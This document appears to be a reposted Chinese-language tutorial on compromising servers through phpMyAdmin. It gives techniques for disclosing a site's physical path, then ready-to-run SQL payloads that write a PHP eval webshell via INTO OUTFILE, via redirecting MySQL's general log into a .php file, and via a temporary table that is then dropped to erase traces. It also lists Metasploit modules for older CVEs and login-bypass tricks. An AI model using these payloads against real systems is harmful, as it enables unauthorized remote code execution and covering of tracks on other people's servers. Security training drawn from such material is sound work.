phpMyadmin 简介
phpMyadmin 是一个以 PHP 为基础的 MySQL 数据库管理工具, 使网站管理员可通过 web 接口管理数据库 .
信息收集
此部分主要需要收集的是网站物理路径, 否则后续无法通过 URL 连接 Shell
物理路径
查询数据库存储路径来推测网站物理路径, 也可以通过 log 变量得到
select @@datadir;
配置文件爆路径: 如果注入点有文件读取权限, 可通过 load_file 尝试读取配置文件
- # Windows
- c:\Windows\PHP.INI # PHP 配置文件
- c:\Windows\system32\inetsrv\MetaBase.xml # IIS 虚拟主机配置文件
- # Linux
- /etc/PHP.INI # PHP 配置文件
- /etc/httpd/conf.d/PHP.conf
- /etc/httpd/conf/httpd.conf # Apache 配置文件
- /usr/local/apache/conf/httpd.conf
- /usr/local/apache2/conf/httpd.conf
- /usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
单引号爆路径: 直接在 URL 后面加单引号. 要求单引号没有被过滤 (gpc=off) 且服务器默认返回错误信息.
http://www.abc.com/index.php?id=1 '
错误参数值爆路径: 尝试将要提交的参数值改成错误值.
http://www.abc.com/index.php?id=-1
Nginx 文件类型错误解析爆路径: 要求 Web 服务器是 Nginx, 且存在文件类型解析漏洞. 在图片地址后添加 / x.PHP, 该图片不但会被当作 PHP 文件执行, 还有可能爆出物理路径.
http://www.abc.com/bg.jpg/x.php
Google 爆路径
- site:xxx.com warning
- site:xxx.com "fatal error"
测试文件爆路径
www.xxx.com/test.PHP
www.xxx.com/ceshi.PHP
www.xxx.com/info.PHP
www.xxx.com/phpinfo.PHP
www.xxx.com/php_info.PHP
www.xxx.com/1.PHP
其它
- phpMyAdmin/libraries/selectlang.lib.PHP
- phpMyAdmin/darkblueorange/layout.inc.PHP
- phpmyadmin/themes/darkblue_orange/layout.inc.PHP
- phpMyAdmin/index.PHP?lang[]=1
- phpMyAdmin/darkblueorange/layout.inc.PHP phpMyAdmin/index.PHP?lang[]=1
- /phpmyadmin/libraries/lect_lang.lib.PHP
- /phpMyAdmin/phpinfo.PHP
- /phpmyadmin/themes/darkblue_orange/layout.inc.PHP
- /phpmyadmin/libraries/select_lang.lib.PHP
- /phpmyadmin/libraries/mcrypt.lib.PHP
其它信息
phpMyadmin 后台面板可以直接看到 MySQL 版本, 当前用户, 操作系统, PHP 版本, phpMyadmin 版本等信息
也可以通过 SQL 查询得到其它信息
select version(); -- 查看数据库版本
select @@datadir; -- 查看数据库存储路径
show VARIABLES like '%char%'; -- 查看系统变量
GetShell
前提条件
网站真实路径. 如果不知道网站真实路径则后续无法通过 URL 的方式连 shell
读写权限. 查询 secure_file_priv 参数, 查看是否具有读写文件权限, 若为 NULL 则没有办法写入 shell. 这个值是只读变量, 只能通过配置文件修改, 且更改后需重启服务才生效
select @@secure_file_priv -- 查询 secure_file_priv
-- secure_file_priv=NULL, 禁止导入导出
-- secure_file_priv='', 不限制导入导出
-- secure_file_priv=/path/, 只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件
常规 GetShell
直接通过 SQL 查询写入 shell
-- 假设物理路径为 "G:\phpStudy\WWW"
select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';
日志 GetShell
MySQL5.0 版本以上会创建日志文件, 通过修改日志的全局变量打开日志并指定日志保存路径, 再通过查询写入一句话木马, 此时该木马会被日志记录并生成日志文件, 从而 GetShell. 但是前提是要对生成的日志文件有读写权限.
查询日志全局变量
- show variables like '%general%';
- Variable_name Value
- general_log OFF
- general_log_file G:\phpStudy\MySQL\data\FengSec.log
general_log: 日志保存状态
general_log_file: 日志保存路径
开启日志保存并配置保存路径
set global general_log = "ON"; -- 打开日志保存
set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径, 需先得知网站物理路径, 否则即使写入了 Shell 也无法通过 URL 连接
写 shell
select '<?php eval($_POST[pwd]); ?>';
新表 GetShell
进入一个数据库, 新建数据表.
名字随意, 这里为 shell_table
字段数填 1
添加字段
字段名任意, 这里为 xiaoma
字段类型为 TEXT
在该表中点击插入, 值为一句话木马
<?PHP eval($_POST[pwd]); ?>'
执行 SQL 查询, 将该表中的内容导出到指定文件
-- 假设物理路径为 "G:\phpStudy\WWW"
select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";
删除该表, 抹除痕迹
Drop TABLE IF EXISTS shell_table;
以上步骤也可以通过 MySQL 语句执行
Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表
特殊版本 GetShell
CVE-2013-3238
影响版本: 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块: exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影响版本: phpMyAdmin v3.5.2.2
利用模块: exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin 配置文件 / config/config.inc.PHP 存在命令执行
影响版本: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块: exploit/unix/webapp/phpmyadmin_config
弱口令 & 万能密码
弱口令: 版本 phpmyadmin2.11.9.2, 直接 root 用户登陆, 无需密码
万能密码: 版本 2.11.3 / 2.11.4, 用户名'localhost'@'@" 则登录成功
参考:
phpmyadmin getshell 之利用日志文件
MySQL 备份一句话 https://www.uedbox.com/post/4854/
phpmyadmin getshell 姿势 https://xz.aliyun.com/t/3283#toc-4
来源: http://www.bubuko.com/infodetail-3414609.html